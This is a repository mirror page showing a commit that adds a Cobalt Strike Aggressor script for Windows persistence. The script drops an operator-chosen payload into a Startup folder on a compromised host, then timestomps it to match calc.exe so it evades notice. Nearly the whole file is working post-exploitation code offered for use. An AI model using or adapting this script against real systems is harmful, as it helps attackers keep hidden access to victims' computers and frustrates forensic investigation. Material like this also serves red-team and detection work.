infosecn1nja
/
AggressorScripts
mirror of https://github.com/infosecn1nja/AggressorScripts.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Add files via upload

Logging
Harley Lebeau 2017-07-12 10:11:39 -04:00 committed by GitHub
parent ac4be04e4b
commit 3d8aba01c0
1 changed files with 26 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

26
Persistence/StartUpFolderPersist.cna Normal file
View File

@ -0,0 +1,26 @@
#StartUpFolder Persistence
#Author: @r3dQu1nn
#Quick and easy persistence via a StartUpFolder
#Windows will have different StartUp locations dependent upon the version of the OS
sub persistThroughStartUpFolder {
$bid = $1;
$dialog = dialog("Start Up Folder Persistence", %(startup => "Startup Directory Folder..", payload => "Select Payload.."), lambda({
if ("$3['startup']" ismatch 'Startup Directory Folder..' || "$3['payload']" ismatch 'Select Payload..') {
berror($bid, "\c4Please enter a valid Startup Directory Folder, and select a Payload.");
break;
}
else {
bshell($bid, 'cd "'.$3['startup'].'"');
bupload($bid, $3['payload']);
btimestomp($bid, "$3['payload']", "c:\\windows\\system32\\calc.exe");
}
}));
dialog_description($dialog, "Start Up Folder Persistence - Generates a Startup Folder Entry and places a payload inside that folder. **Windows NT 6.0-10.0/All Users Location - %SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup | Windows NT 6.0-10.0/Current User Location %SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup");
drow_text($dialog, "startup", "StartUp Directory Folder Location:");
drow_file($dialog, "payload", "Select Payload:");
dbutton_action($dialog, "Create");
dialog_show($dialog);
}